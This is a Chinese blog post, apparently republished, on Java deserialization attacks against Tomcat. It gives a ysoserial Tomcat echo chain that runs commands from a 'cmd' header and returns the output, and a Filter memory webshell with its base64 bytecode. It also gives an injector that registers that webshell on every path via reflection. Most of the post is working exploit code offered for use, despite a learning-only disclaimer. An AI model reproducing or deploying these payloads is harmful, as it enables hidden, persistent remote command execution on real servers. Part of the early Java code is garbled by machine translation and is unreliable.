Java 语言(一种计算机语言,尤用于创建网站)语言(一种计算机语言,尤用于创建网站)反序列化回显与内存马注入
Java反序列化回显与内存马注入
写在前面
之前已经对于雄猫回显链和简单的内存马注入进行了部分的学习,打算先对一个很常见的场景,比如中间件是网上雄猫站点存在反序列化的场景去打一个内存马或者说反序列化回显的一个利用。先做一个简单实现,后面再对不同场景下做一个深度的利用。
反序列化回显
主要是通过回显链将命令执行结果通过反应回显出来。依旧是拿雄猫回显链进行学习。
这里主要是将其改造添加进yso中,参考Litch1师傅的项目
先对Gadgets.java文件做一些改动,主要是重载创建模板简单的方法,模板为我们需要通过javassist去执行的任意代码块如回显链或内存马,其余部分参照Litch1师傅的项目改动即可
公共静态对象创建模板简单模式问答(最终字符串命令)引发异常(
字符串参数=命令==null ' cmd ' :命令;
字符串模板=' javassist代码
返回createTemplatesImpl(命令,模板);
}
先放上根据雄猫回显链构造的创建模板简单方法
//汤姆儿茶的模板
公共静态对象创建模板简单模式问答(最终字符串命令)引发异常(
字符串模板="尝试"
组织。阿帕奇。卡特琳娜。装载机。webappClassLoaderBase webappClassLoaderBase=(org。阿帕奇。卡特琳娜。装载机。webappClassLoaderBase)线程。currentthread().getContextClassLoader();\n '
组织。阿帕奇。卡特琳娜。核心。标准上下文标准上下文=(org。阿帕奇。卡特琳娜。核心。标准上下文)webappclassloaderbase。getresources().getContext();\n '
Java。朗。反思。字段上下文=类。FOrname(\ ' org。阿帕奇。卡特琳娜。核心。标准上下文\ ').getDeclaredField(\ ' context \ ');\n '
语境。setaccessable(true);\n '
组织。阿帕奇。卡特琳娜。核心。应用上下文应用上下文=(org。阿帕奇。卡特琳娜。核心。应用上下文)上下文。get(标准上下文);\n '
Java。朗。反思。现场服务=等级。FOrname(\ ' org。阿帕奇。卡特琳娜。核心。应用程序上下文\ ').getDeclaredField(\ ' service \ ');\n '
服务。setaccessable(true);\n '
组织。阿帕奇。卡特琳娜。核心。标准服务标准服务=(组织。阿帕奇。卡特琳娜。核心。standardService)服务。get(应用程序上下文);\n '
组织。阿帕奇。卡特琳娜。连接器。连接器[]连接器=(组织。阿帕奇。卡特琳娜。连接器。连接器[])标准服务。鳍状物
dConnectors();\n" +
"\n" +
" for (int i=0; i connectors.length; i++) {\n" +
" if (4 == connectors[i].getScheme().length()) {\n" +
" java.lang.reflect.Field protocolHandler = connectors[i].getProtocolHandler();\n" +
" if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol){\n" +
" Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();\n" +
" for (int j = 0; j classes.length; j++) {\n" +
" if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {\n" +
" java.lang.reflect.Field globalField = classes[j].getDeclaredField(\"global\");\n" +
" java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField(\"processors\");\n" +
" globalField.setAccessible(true);\n" +
" processorsField.setAccessible(true);\n" +
" java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod(\"getHandler\",null);\n" +
" getHandlerMethod.setAccessible(true);\n" +
" org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));\n" +
" java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);\n" +
" for (int k = 0; k list.size(); k++){\n" +
" java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField(\"req\");" +
" requestField.setAccessible(true);\n" +
" org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));\n" +
" org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);\n" +
" String cmd = request.getHeader(\"cmd\");\n" +
" String[] cmds = !System.getProperty(\"os.name\").toLowerCase().contains(\"win\") new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n" +
" java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();\n" +
" java.io.BufferedInputStream bufferedInputStream = new java.io.BufferedInputStream(inputStream);\n" +
" org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) request.getResponse();\n" +
" int len;\n" +
" while ((len = bufferedInputStream.read()) != -1){\n" +
" response.getWriter().write(len);\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" } \n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
"}";
return createTemplatesImpl(command, template);
}
踩坑记录:
-
template中内容不能import,所以用到的各种类需要写全限定类名。
-
如果可以通过上下文或其他存储环境信息的对象的自带方法去获取所需的属性值就不要用反射,这样payload体积也会变小。如:
通过
standardService.findConnectors();
获取connectors
-
template中不要出现范型,比如
Class[] ; j classes.length; j++)
这种,而不是这种:for (Class declaredClass : declaredClasses)
,不然会抛异常,我也不懂为什么,希望懂得师傅可以不吝赐教。 -
本地进行测试时,如果是tomcat+war包形式,需要注意运行项目后的
out
目录下的lib中是否有CC的jar包
之后可以新建一个类,去调用上面构造好的createTemplate方法即可
测试:
ToDo:
上面的代码中,是通过读取header中的cmd属性值包含的命令去执行。当然也可以动态拼接,或者Litch1师傅中添加了对header中是否存在tomcat: tomcat
的判断才进入后续的命令执行和回显。这里骚姿势就比较多了,师傅们可自行研究。
而读取header的这种写法肯定会被流量设备检测到,个人感觉还是动态拼接命令会更好一些。当然了,这也是出于在一个必须进行反序列化回显时的场景下,一般还是打内存马,如哥斯拉或者冰蝎。
内存马注入
以filter型的cmd内存马为例,冰蝎同理,改一改逻辑即可。
首先准备恶意的Filter,当然可以添加一些自己的逻辑,如header头的判断等等
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
public class FilterMemShell implements Filter {
static String cmd ;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
try {
cmd = request.getParameter("cmd");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int len;
while ((len = bufferedInputStream.read()) != -1){
response.getWriter().write(len);
}
}
catch (Exception var15) {
}
}
@Override
public void destroy() {
}
}
把其字节码转byte数组然后base64编码
yv66vgAAADQAbgoAEQBCBwBDBwBECAATCwACAEUJABAARgoARwBICgBHAEkKAEoASwcATAoACgBNCgAKAE4LAAMATwoAUABRBwBSBwBTBwBUBwBVAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMRmlsdGVyTWVtU2hlbGw7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAVgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQATYnVmZmVyZWRJbnB1dFN0cmVhbQEAHUxqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW07AQADbGVuAQABSQEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAFMHAFcHAFgHAFkHAEMHAEQHAFoHAEwHAFIHAFsBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAE0ZpbHRlck1lbVNoZWxsLmphdmEMABUAFgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAXABdDAATABQHAF4MAF8AYAwAYQBiBwBjDABkAGUBABtqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW0MABUAZgwAZwBoDABpAGoHAGsMAGwAbQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA5GaWx0ZXJNZW1TaGVsbAEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABHJlYWQBAAMoKUkBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABChJKVYAIQAQABEAAQASAAEACAATABQAAAAEAAEAFQAWAAEAFwAAAC8AAQABAAAABSq3AAGxAAAAAgAYAAAABgABAAAACQAZAAAADAABAAAABQAaABsAAAABABwAHQACABcAAAA1AAAAAgAAAAGxAAAAAgAYAAAABgABAAAADgAZAAAAFgACAAAAAQAaABsAAAAAAAEAHgAfAAEAIAAAAAQAAQAhAAEAIgAjAAIAFwAAAScAAwAJAAAAUivAAAI6BCzAAAM6BRkEEgS5AAUCALMABrgAB7IABrYACLYACToGuwAKWRkGtwALOgcZB7YADFk2CAKfABIZBbkADQEAFQi2AA6n/+inAAU6BrEAAQAMAEwATwAPAAMAGAAAACoACgAAABIABgATAAwAFgAYABcAJgAYADEAGgA9ABsATAAhAE8AIABRACIAGQAAAFwACQAmACYAJAAlAAYAMQAbACYAJwAHADkAEwAoACkACAAAAFIAGgAbAAAAAABSACoAKwABAAAAUgAsAC0AAgAAAFIALgAvAAMABgBMADAAMQAEAAwARgAyADMABQA0AAAAKQAE/wAxAAgHADUHADYHADcHADgHADkHADoHADsHADwAAPkAGkIHAD0BACAAAAAGAAIAPgAhAAEAPwAWAAEAFwAAACsAAAABAAAAAbEAAAACABgAAAAGAAEAAAAoABkAAAAMAAEAAAABABoAGwAAAAEAQAAAAAIAQQ==
至此就准备好恶意的Filter类了,剩下的就是之前所讲到的,通过获取StandardContext来动态注册Filter,Filter的实例对象可以通过defineClass加载字节码之后newInstance获取。
动态注册代码如下,因为要继承到yso,所以需要继承AbstractTranslet类
public class InjectTomcatFilterShell extends AbstractTranslet {
final static String FilterMemShell = "yv66vgAAADQAbgoAEQBCBwBDBwBECAATCwACAEUJABAARgoARwBICgBHAEkKAEoASwcATAoACgBNCgAKAE4LAAMATwoAUABRBwBSBwBTBwBUBwBVAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMRmlsdGVyTWVtU2hlbGw7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAVgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQATYnVmZmVyZWRJbnB1dFN0cmVhbQEAHUxqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW07AQADbGVuAQABSQEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAFMHAFcHAFgHAFkHAEMHAEQHAFoHAEwHAFIHAFsBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAE0ZpbHRlck1lbVNoZWxsLmphdmEMABUAFgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAXABdDAATABQHAF4MAF8AYAwAYQBiBwBjDABkAGUBABtqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW0MABUAZgwAZwBoDABpAGoHAGsMAGwAbQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA5GaWx0ZXJNZW1TaGVsbAEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABHJlYWQBAAMoKUkBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABChJKVYAIQAQABEAAQASAAEACAATABQAAAAEAAEAFQAWAAEAFwAAAC8AAQABAAAABSq3AAGxAAAAAgAYAAAABgABAAAACQAZAAAADAABAAAABQAaABsAAAABABwAHQACABcAAAA1AAAAAgAAAAGxAAAAAgAYAAAABgABAAAADgAZAAAAFgACAAAAAQAaABsAAAAAAAEAHgAfAAEAIAAAAAQAAQAhAAEAIgAjAAIAFwAAAScAAwAJAAAAUivAAAI6BCzAAAM6BRkEEgS5AAUCALMABrgAB7IABrYACLYACToGuwAKWRkGtwALOgcZB7YADFk2CAKfABIZBbkADQEAFQi2AA6n/+inAAU6BrEAAQAMAEwATwAPAAMAGAAAACoACgAAABIABgATAAwAFgAYABcAJgAYADEAGgA9ABsATAAhAE8AIABRACIAGQAAAFwACQAmACYAJAAlAAYAMQAbACYAJwAHADkAEwAoACkACAAAAFIAGgAbAAAAAABSACoAKwABAAAAUgAsAC0AAgAAAFIALgAvAAMABgBMADAAMQAEAAwARgAyADMABQA0AAAAKQAE/wAxAAgHADUHADYHADcHADgHADkHADoHADsHADwAAPkAGkIHAD0BACAAAAAGAAIAPgAhAAEAPwAWAAEAFwAAACsAAAABAAAAAbEAAAACABgAAAAGAAEAAAAoABkAAAAMAAEAAAABABoAGwAAAAEAQAAAAAIAQQ==";
static {
try {
String filterName = "Zh1z3ven";
String Base64ForShellByteArray = FilterMemShell;
String filterPath = "/*";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterconfigs = (Map) filterConfigsField.get(standardContext);
if (filterconfigs.get(filterName) == null){
BASE64Decoder base64Decoder = new BASE64Decoder();
byte[] bytes = base64Decoder.decodeBuffer(Base64ForShellByteArray);
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class memShell = (Class) defineClassMethod.invoke(servletContext.getClass().getClassLoader(), bytes, 0, bytes.length);
Filter MemShell = (Filter) memShell.newInstance();
Class FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(MemShell);
o.setFilterName(filterName);
o.setFilterClass(memShell.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
filterMap.addURLPattern(filterPath);
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
declaredConstructor1.setAccessible(true);
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterconfigs.put(filterName,filterConfig);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
后续部分参考Litch1师傅的yso项目,对createTemplate方法进行重载,这里就不贴了
封装完后可以准备一个存在反序列化的servlet直接yso打即可
Reference
https://summersec.github.io/2020/06/01/Java反序列化回显解决方案/#toc-heading-6
所有内容仅限于维护网络安全学习参考
内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/146460.html